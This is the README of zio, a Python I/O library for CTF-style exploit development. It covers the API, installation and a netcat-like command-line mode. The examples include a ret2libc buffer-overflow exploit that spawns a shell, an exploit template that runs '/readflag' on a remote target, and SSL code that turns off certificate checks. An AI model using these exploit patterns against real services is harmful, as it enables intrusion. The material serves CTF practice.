zio
zio is an easy-to-use io library for pwning development, supporting an unified interface for local process pwning and TCP socket io.
The primary goal of zio is to provide unified io interface between process stdin/stdout and TCP socket io. So when you have done local pwning development, you only need to change the io target to pwn the remote server.
The following code illustrate the basic idea.
from zio import *
is_local = True
if is_local:
io = zio('./buggy-server') # used for local pwning development
else:
io = zio(('1.2.3.4', 1337)) # used to exploit remote service
io.read_until(b'Welcome Banner')
io.write(your_awesome_ropchain_or_shellcode)
# hey, we got an interactive shell!
io.interact()Advantage
- Self contained single file installation, no extra dependency required. Copy it as you go and fire with no pain even without internet access.
- Support both python2 and python3, no need to worry about the python version installed on some weired jump server provided by unknown.
- Easy to learn and use.
If you want advanced features such as ELF parsing and more, try pwntools.
License
zio use SATA License (Star And Thank Author License), so you have to star this project before using. Read the license carefully.
Working Environment
- Linux or OSX
- Python 2.6, 2.7, 3.x
for windows support, a minimal version(socket-io only) mini_zio is provided.
Installation
This is a single-file project so in most cases you can just download zio.py and start using.
pip is also supported, so you can also install by running
$ pip install zioExamples
from zio import *
is_local = True
if is_local:
io = zio('./buggy-server')
else:
io = zio((pwn.server, 1337))
for i in range(1337):
io.writeline(b'add ' + str(i))
io.read_until(b'>>')
io.write(b"add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + b"A" * 49 + b"\nshow\n")
io.read_until(b'A' * 49)
libc_base = l32(io.read(4)) - 0x1a9960
libc_system = libc_base + 0x3ea70
libc_binsh = libc_base + 0x15fcbf
payload = b'A' * 64 + l32(libc_system) + b'JJJJ' + l32(libc_binsh)
io.write(b'info ' + payload + b"\nshow\nexit\n")
io.read_until(b">>")
# We've got a shell;-)
io.interact()Document
bytes vs unicode
zio works at bytes level. All params and return value should be bytes. (Although some methods support unicode for compatibility and fault tolerance)
The recommended practice is to use b'xxx' everywhere, which is supported by both python2 and python3 without ambiguity.
about line break and carriage return
Just don't read b'\n' or b'\r', use read_line() instead
example for SSL wrapped socket
hostname = 'xxx.com'
host = '111.22.33.44'
port = 31337
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = context.wrap_socket(s, server_hostname=hostname)
ssl_sock.connect((host, port))
io = zio(ssl_sock)
...
tell between promptless shell and io EOF
# ... after your awesome exploit, you are waiting for shell but this is chance to fail
# so detect EOF first
io.read_until_timeout(1)
if io.is_eof_seen():
print('remote closed')
exit(10)
else:
io.writeline('\necho ____; /readflag ; echo ____; exit\n')
if b'____' in io.read():
exit(0)
Exploit Template
#!/usr/bin/env python3
import os
from zio import *
LOCAL = True
target = './vuln.patched'
if os.getenv('TARGET'):
ary = os.getenv('TARGET').split(':')
target = (ary[0], int(ary[1]))
LOCAL = False
print('target = %r' % (target, ))
io = zio(target, print_read=COLORED(REPR, 'yellow'), print_write=COLORED(REPR, 'cyan'), timeout=10000)
if LOCAL:
io.gdb_hint(breakpoints=[
0x555555555314, # before exit 0
])
else:
# do proof of work?
# io.readline()
# input('continue?')
pass
io.read_until(b'some banner')
io.writeline(b'your awesome exploit')
if LOCAL:
# input('continue?')
# from IPython import embed
# embed()
pass
# detect shell or EOF
io.read_until_timeout(1)
if io.is_eof_seen():
exit(10)
io.writeline('\necho ____; /readflag ; echo ____\n')
if b'____' in io.read():
exit(0)
else:
exit(10)
Play with cmdline
Act like netcat
$ printf 'GET / HTTP/1.0\r\n\r\n' | ./zio.py baidu.com 80
Unhex
$ echo '3334350a' | ./zio.py -d unhex -w none -r none -i pipe -o pipe --show-input=0 cat
345
hexcat some file
$ cat somefile | ./zio.py -e hex -w none -r none -i pipe -o pipe --show-input=0 cat
show file in string repr
$ cat somefile | ./zio.py -e repr -w none -r none -i pipe -o pipe --show-input=0 cat
log vim key sequences and underlying io
$ zio --debug=zio.log vim
Other fun usage
Talk with vim using code.
In [1]: from zio import *
In [2]: io = zio('vim', stdin=TTY, stdout=TTY)
In [3]: io.writeline(b'ihello world')
ihello world
Out[3]: 13
In [4]: io.writeline(b'\x1b:w hand_crafted_vim_file.txt')
w hand_crafted_vim_file.txt
Out[4]: 30
In [5]: io.writeline(b':q')
:q
Out[5]: 3
In [6]: io.exit_status()
Out[6]: 0
In [7]: !cat hand_crafted_vim_file.txt
hello world
You can even talk with vim for prefix and then interact by hand to continue normal action.